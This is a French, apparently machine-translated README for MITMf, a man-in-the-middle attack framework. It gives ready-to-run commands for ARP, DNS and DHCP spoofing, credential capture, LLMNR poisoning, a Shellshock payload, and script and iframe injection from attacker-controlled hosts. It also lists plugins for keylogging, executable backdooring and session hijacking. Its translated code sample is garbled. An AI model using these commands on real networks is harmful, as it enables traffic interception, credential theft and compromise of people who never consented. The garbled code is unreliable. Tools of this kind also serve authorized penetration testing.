Cadre pour les attaques Man-In-The-Middle
Ce projet n'est plus mis à jour. MITMf a été écrit pour répondre au besoin, à l'époque, d'un outil moderne pour effectuer des attaques Man-In-The-Middle. Depuis lors, de nombreux autres outils ont été créés pour remplir cet espace, vous devriez probablement utiliser Bettercap car ses fonctionnalités sont beaucoup plus complètes et mieux entretenues.
Tutoriels rapides, exemples et mises à jour des développeurs sur : https://byt3bl33d3r.github.io
Cet outil est basé sur sergio-proxy et constitue une tentative de relance et de mise à jour du projet.
Contactez-moi au :
Twitter : @byt3bl33d3r
IRC sur Freenode : #MITMf
Courriel : [email protected]
Avant de soumettre des problèmes, veuillez lire la section correspondante dans le wiki.
Veuillez vous référer au wiki pour les instructions d'installation
MITMf vise à fournir un guichet unique pour les attaques Man-In-The-Middle et réseau tout en mettant à jour et en améliorant les attaques et techniques existantes.
Conçu à l'origine pour combler les lacunes importantes d'autres outils (par exemple Ettercap, Mallory), il a été presque entièrement réécrit à partir de zéro pour fournir un cadre modulaire et facilement extensible que chacun peut utiliser pour mettre en œuvre sa propre attaque MITM.
Le framework contient un serveur SMB, HTTP et DNS intégré qui peut être contrôlé et utilisé par les différents plugins, il contient également une version modifiée du proxy SSLStrip qui permet la modification HTTP et un contournement partiel HSTS.
Depuis la version 0.9.8, MITMf prend en charge le filtrage et la manipulation actifs des paquets (essentiellement ce que faisaient etterfilters, mais en mieux), permettant aux utilisateurs de modifier tout type de trafic ou de protocole.
Le fichier de configuration peut être modifié à la volée pendant l'exécution de MITMf, les modifications seront transmises via le framework : cela vous permet de modifier les paramètres des plugins et des serveurs tout en effectuant une attaque.
MITMf capturera les informations d'identification FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (chaînes communautaires), NTLMv1/v2 (tous les protocoles pris en charge comme HTTP, SMB, LDAP, etc.) et Kerberos en utilisant Net-Creds, qui est exécuté sur démarrer.
L'intégration du répondeur permet l'empoisonnement LLMNR, NBT-NS et MDNS et la prise en charge des serveurs malveillants WPAD.
Vous pouvez désormais modifier n'importe quel paquet/protocole intercepté par MITMf à l'aide de Scapy ! (plus de filtres etter ! ouais !)
Par exemple, voici un petit filtre stupide qui change simplement l'adresse IP de destination des paquets ICMP :
si packet.haslayer (ICMP) : log.info ('Vous avez un paquet ICMP !') packet.dst = '192.168.1.0'
Utilisez la variable packet
pour accéder au paquet dans un format compatible Scapy
Utilisez la variable data
pour accéder aux données brutes du paquet
Maintenant, pour utiliser le filtre, tout ce que nous devons faire est : python mitmf.py -F ~/filter.py
Vous souhaiterez probablement combiner cela avec le plugin Spoof pour intercepter les paquets de quelqu'un d'autre ;)
Remarque : vous pouvez modifier les filtres à la volée sans redémarrer MITMf !
L'utilisation la plus basique démarre le proxy HTTP SMB, DNS, les serveurs HTTP et Net-Creds sur l'interface enp3s0 :
python mitmf.py -i enp3s0
ARP empoisonne l'ensemble du sous-réseau avec la passerelle 192.168.1.1 à l'aide du plugin Spoof :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
Comme ci-dessus + un serveur proxy malveillant WPAD utilisant le plugin Responder :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
Poison ARP 192.168.1.16-45 et 192.168.0.1/24 avec la passerelle à 192.168.1.1 :
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Activer l'usurpation DNS lors de l'empoisonnement ARP (les domaines à usurper sont extraits du fichier de configuration) :
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Activer l'usurpation d'identité LLMNR/NBTNS/MDNS :
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Activez l'usurpation d'identité DHCP (le pool d'adresses IP et le sous-réseau sont extraits du fichier de configuration) :
python mitmf.py -i enp3s0 --spoof --dhcp
Comme ci-dessus avec une charge utile ShellShock qui sera exécutée si un client est vulnérable :
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Injectez un IFrame HTML à l'aide du plugin Inject :
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Injectez un script JS :
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Démarrez un portail captif qui redirige tout vers http://SERVER/PATH :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Démarrez le portail captif sur http://your-ip/portal.html en utilisant la page par défaut /portal.html (merci au répondeur) et /CaptiveClient.exe (non inclus) à partir du dossier config/captive :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
Comme ci-dessus mais avec le nom d'hôte captive.portal au lieu d'IP (nécessite captive.portal pour résoudre votre IP, par exemple via une usurpation DNS) :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Servez un portail captif avec une instance SimpleHTTPServer supplémentaire desservant LOCALDIR à l'adresse http://IP:8080 (changez de port dans mitmf.config) :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
Comme ci-dessus mais avec le nom d'hôte :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
Et bien plus encore !
Bien sûr, vous pouvez mélanger et assortir presque tous les plugins (par exemple, ARP spoof + inject + Responder, etc.)
Pour une liste complète des options disponibles, exécutez simplement python mitmf.py --help
HTA Drive-By : injecte une fausse notification de mise à jour et invite les clients à télécharger une application HTA
SMBTrap : Exploite la vulnérabilité 'SMB Trap' sur les clients connectés
ScreenShotter : utilise HTML5 Canvas pour restituer une capture d'écran précise du navigateur d'un client
Répondeur : Empoisonneur LLMNR, NBT-NS, WPAD et MDNS
SSLstrip+ : contourner partiellement HSTS
Spoof : rediriger le trafic à l'aide de l'usurpation d'identité ARP, ICMP, DHCP ou DNS
BeEFAutorun : exécute automatiquement les modules BeEF en fonction du système d'exploitation ou du type de navigateur d'un client
AppCachePoison : effectue des attaques d'empoisonnement HTML5 App-Cache
Ferret-NG : détourne de manière transparente les sessions client
BrowserProfiler : tente d'énumérer tous les plugins de navigateur des clients connectés
FilePwn : exécutables Backdoor envoyés via HTTP à l'aide de Backdoor Factory et BDFProxy
Injecter : Injecter du contenu arbitraire dans du contenu HTML
BrowserSniper : effectue des attaques au volant sur les clients dotés de plugins de navigateur obsolètes
JSkeylogger : injecte un keylogger Javascript dans les pages Web d'un client
Remplacer : Remplacer le contenu arbitraire dans le contenu HTML
SMBAuth : Evoke les tentatives d'authentification par défi-réponse SMB
Upsidedownternet : retourne les images à 180 degrés
Captive : Crée un portail captif, redirigeant les requêtes HTTP à l'aide de 302
BTC : 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH : 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
SLD : LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr